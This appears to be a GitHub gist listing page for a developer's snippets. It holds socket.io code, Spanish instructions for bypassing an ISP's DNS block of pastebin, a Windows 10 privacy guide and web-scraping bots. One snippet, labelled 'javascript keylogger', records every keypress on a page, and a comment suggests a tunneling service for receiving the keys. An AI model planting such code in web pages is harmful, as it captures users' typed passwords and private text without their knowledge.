Skip to content

Instantly share code, notes, and snippets.

View atorralb's full-sized avatar
🎯
Focusing

Angel T. Durán atorralb

🎯
Focusing
View GitHub Profile
@atorralb
atorralb / gist:8986799
Last active August 29, 2015 13:56
emit a message to a different namespace in socket.io... useful when you want to update different namespaces with different data
var chat = io
.of('/chat')
.on('connection', function (socket) {
//warn the admin that somebody visit the site
io.of('/admins').emit('message', { message: "Hello admins! im a different namespace phocker" });
});
Como saltarse el bloqueo de Megacable (TM) para acceder PASTEBIN.COM
Megacable bloquea por default en su DNS PASTEBIN.COM
puedes saltarlo usando el DNS de google por default que se encuentr en la configuarcion del adaptador.
1) Control Panel\Network and Internet\Network and Sharing Center
2) Control Panel\Network and Internet\Network Connections
3) TCP/IPv4 settings
Preferred DNS server: 8.8.8.8
@atorralb
atorralb / kl.js
Created May 27, 2015 03:42
javascript keylogger
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
//get a local tunneling service such as pagekite.me or ngrok
=IF(ISERROR(FIND("A_",C2, 0))=TRUE,RIGHT(C2,LEN(C2)-2), IF(ISERROR(FIND("B_",C2, 0))=TRUE,RIGHT(C2,LEN(C2)-2),IF(ISERROR(FIND("C_",C2, 0))=TRUE,RIGHT(C5,LEN(C5)-2), C2)))
@atorralb
atorralb / windows 10 privacy full
Created August 3, 2015 13:43
this will set to full your privacy settings
All the options are "easily" deactivated, even to a layman it will take much less than an hour to complete this guide, to someone even vaguely familiar with windows and common tweaks, this will take 10 to 15 minutes.
As u/aDeadSoul pointed out, some of these fixes are overkill, if you are not sure what to do only stick to the "before installation" and "after installation" parts. DON'T start mucking about with the powershell or the registry editor if you don't have at least a good idea of what you are doing. Also DON'T disable windows updates if you are not 100% sure that is what you want to do, there are probably quite a bit of security flaws that will be fixed in later updates, disabling updates leaves you vulnerable to yet undiscovered security holes.
----Before/During Installation----
Do not use Express Settings. Hit Customize, and make sure everything is turned off. It's strongly preferred that you use a local account with Windows 10.
----After Installation----
Head to Settings > Privacy, and disable ever
/*
function identifyOrder(order_string){
var order =[];
for (var i = 0; i < order_string.length; i++) {
order.push(order_string.charAt(i));
}
return order;
}
function ordenar_extraterrestre(desordenadas, orden_alfabeto){
// var array = ['revestir', 'miel', 'extraterrestre', 'auto', 'automovil', 'al'];
@atorralb
atorralb / bot.js
Created September 1, 2016 18:32
bot
//DEBUG=nightmare* Xvfb :99 -screen 0 1024x768x24 > /dev/null 2>&1 & node --harmony app.js
'use strict';
var Nightmare = require('nightmare');
var vo = require('vo');
var occ = require ('./nightmare-occ');

###var vs let vs const var is only used for backward compatibility with plain javascript (ES5 and before) "var" variables are visible outside the block scope

var m = "hello";
if (m){
  var i:number;
  for(i=0; i<3;i++){
 console.log(m + ' ' + i)
@atorralb
atorralb / iterate_through_pagination_in_nightmare.js
Created April 9, 2016 00:16
iterate through a pagination site with nightmarejs
var Nightmare = require('nightmare');
var vo = require('vo');
vo(run)(function(err, result) {
if (err) throw err;
});
fu
@atorralb
atorralb / follow links
Created September 20, 2014 00:56
This is a nice way to show you how to follow links or tell phantomjs how to proceed aftter opening each link